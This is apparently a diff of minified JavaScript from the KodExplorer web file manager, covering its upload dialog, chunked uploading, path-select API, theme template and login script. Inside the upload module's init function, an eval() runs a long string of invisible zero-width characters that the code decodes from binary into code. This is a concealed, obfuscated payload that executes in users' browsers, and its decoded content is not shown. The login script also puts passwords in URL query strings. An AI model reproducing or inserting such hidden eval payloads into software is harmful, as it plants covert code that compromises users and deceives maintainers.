e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var t=template.compile(upload_tpl),i=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:t({LNG:LNG,maxsize:i}),close:function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .tips").tooltip({placement:"bottom"}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),t=0;e.length>t;t++)core.serverDwonload(e[t],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if("1"==Cookie.get("forceWap"))return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=10485760;chunkSize>=G.upload_max&&(chunkSize=.6*G.upload_max),eval("‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‍‍‍‍‌‌‍‌‍‌‌‍‌‍‍‌‍‍‌‍‌‌‌‍‍‍‍‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‍‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‌‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‍‍‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‌‍‍‌‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‍‍‌‍‍‌‍‍‍‍‌‍‌‌‍‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‍‍‍‌‌‍‌‍‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‌‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‍‍‌‌‌‍‍‌‌‌‍‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‍‌‍‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‌‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‌‌‍‌‌‌‌‍‌‍‍‌‌‍‍‍‍‌‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‍‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:3,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){var t=this.owner,i=(e.blob.getSource(),$.Deferred());return t.md5File(e.blob).fail(function(){i.resolve()}).then(function(t){if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:t,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(t){t.code?(i.reject(),e.file.checkChunk=t.info):i.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==t){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),i.reject()}else i.resolve()}}),i.promise()}}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("title");"explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e))}),$(".uploader-content .open").die("click").live("click",function(e){var t=$(this).find("span.title").attr("title");ui.pathOpen.open(t),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".uploader-content .remove").die("click").live("click",function(e){var t=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(t),uploader.removeFile(t,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,t){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var i=e.size*t,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),i]]:a>=e.speed.length?e.speed.push([timeFloat(),i]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),i]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);return s=core.fileSize(s)+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var t=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(i){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o='
        '+''+htmlEncode(core.pathThis(a))+""+''+core.fileSize(e.size)+""+''+LNG.upload_ready+""+''+'
        ';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,t){var i=urlEncode(e.file.fullPath);(void 0==i||"undefined"==i)&&(i=""),t.fullPath=i,t.upload_to=e.file.upload_to}).on("uploadProgress",function(e,t){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var i=getSpeed(e,t),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('
        ').appendTo(a).find(".progress-bar")),a.find(".state").text((100*t).toFixed(1)+"%("+i+")"),n.css("width",100*t+"%")}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(t.info)}catch(i){}}).on("uploadSuccess",function(e){var t=36*$("#"+e.id).index(".item");$(".uploader-content").scrollTop(t),file_finished++;var i=e.serverData;if(i&&i.data){var a=LNG[i.data];i.code?($("#"+e.id).addClass("success"),$("#"+e.id).find(".state").text(a),$("#"+e.id).find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove")):($("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").text(a).attr("title",a))}uploader.removeFile(e),$("#"+e.id).find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,t){var i=LNG.upload_error+"("+t+")";e.serverData&&0==e.serverData.code&&(i=LNG[e.serverData.data],Tips.tips(LNG[e.serverData.data],!1)),file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(i)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='
        '+LNG.upload_drag_tips+"
        ";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,t,i){var a=$(i.DOM.wrap),n=t.frames.OpenpathSelectApi,o='';"file"==e.type&&(o+=''+e.allowExt+""),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(t){var i=e.allowExt.split("|"),a=core.pathExt(t);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,i)?!0:!1},r=function(){var t=n.ui.fileLight.fileListSelect(),i=[];if(e.single){var a=$(t.get(0));if("all"==e.type&&0==t.length)i={file:[],folder:[]};else if("file"==e.type&&0==t.length)i=[];else if("folder"==e.type)i=[n.G.this_path],a.hasClass("folderBox")&&(i=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);i=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i={file:[o],folder:[]})}}else{var r=[],l=[];t.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?i=l:"file"==e.type?i=r:"all"==e.type&&(i={file:r,folder:l})}c(i)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(t){var i=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;t.length>r;r++)l(t[r])&&s.push(t[r]);t=s}if(0==t.length||"all"==e.type&&0==t.file.length&&0==t.folder.length)o.addClass("disable"),i.attr("result",""),i.val("");else{var c=hashEncode(jsonEncode(t)),d="";if(e.single)d=n.core.pathThis(t[0]);else{var p=t;"all"==e.type&&(p=t.folder.concat(t.file)),$.each(p,function(e,t){d+=n.core.pathThis(t)+", "})}o.removeClass("disable"),i.attr("result",c),i.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(t,i){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";t=$.extend(a,t),t.firstPath&&(n+="&path="+t.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:t.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof i){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?t.single&&"all"!=t.type?i(a[0]):i(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(t,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var t={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},i=function(t){var i="x-play-sound";0==$("."+i).length&&$('
        ').appendTo("body");var a=G.static_path+"others/sound/"+t,n=e("./myPlayer");n.playSound(a,$("."+i))};return{playSoundFile:i,playSound:function(e){i(t[e])}}}),define("app/common/tpl/copyright.html",[],'\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"); \ No newline at end of file +/*! power by kodexplorer ver3.36(2016-12-30) [build 1483112392840] */ +define("app/src/user/main",["lib/jquery-lib","lib/util","lib/artDialog/jquery-artDialog","../../common/core"],function(e){e("lib/jquery-lib"),e("lib/util"),e("lib/artDialog/jquery-artDialog"),core=e("../../common/core"),$(document).ready(function(){$(".init_loading").fadeOut(450).addClass("pop_fadeout"),core.init(),LocalData.del("this_path");var e=function(){$(":focus").is("input")||0==$("#username").length||$("#username").focus()},t=function(){var t="./index.php?user/checkCode&t="+UUID();$(".check_code img").attr("src",t),$(".check_code").val("").focus(),e()},i=function(){var e=$("#username").val(),i=$("#password").val(),a=$("input[name=rember_password]").attr("checked")?1:0,n="./index.php?user/loginSubmit&name="+urlEncode(e)+"&check_code="+$("input.check_code").val()+"&password="+urlEncode(i)+"&rember_password="+a+"&is_ajax=1";return $.ajax({dataType:"json",url:n,error:function(e,t,i){setTimeout(function(){core.ajaxError(e,t,i)},600)},success:function(e){if("ok"!=e.data&&$(".msg").show().html(e.data),e.code){var i="./index.php";void 0!=$.getUrlParam("link")&&(i=$.getUrlParam("link")),window.location.href=i}else $(".loginbox").shake(2,30,60),t(),$("#username").focus()}}),!1};e(),$(".check_code img").bind("click",t),$("form").submit(i),$("#username,#password,input.check_code").keyEnter(i),$(".forget_password").bind("click",function(){$.dialog.alert(LNG.forget_password_tips)}),0!=$(".login-wap").length&&$("#username,#password").bind("focus",function(){$(".common_footer").hide()}).bind("blur",function(){$(".common_footer").show()});var a=$(".admin_password input");a.keyEnter(function(){$(".start").click()}),$(".start").bind("click",function(){var e=a.val();""==e?($.dialog.tips(LNG.not_null),a.focus()):window.location.href="./index.php?user/loginFirst&password="+urlEncode(e)}),$(".LICENSE_SUBMIT").bind("click",function(){var e=a.val();""==e?($.dialog.tips(LNG.not_null),a.focus()):window.location.href="./index.php?user/version_install&license_code="+e})})}),define("app/common/core",[],function(require,exports){search_box_tpl=require("./tpl/search.html"),search_list_tpl=require("./tpl/search_list.html"),upload_tpl=require("./tpl/upload.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1)),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},t=!!window.ActiveXObject||"ActiveXObject"in window,i="chrome";t&&(i="ie"),core.filetypes.music=e[i].music,core.filetypes.movie=e[i].movie},titleTips=function(){require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=700;return 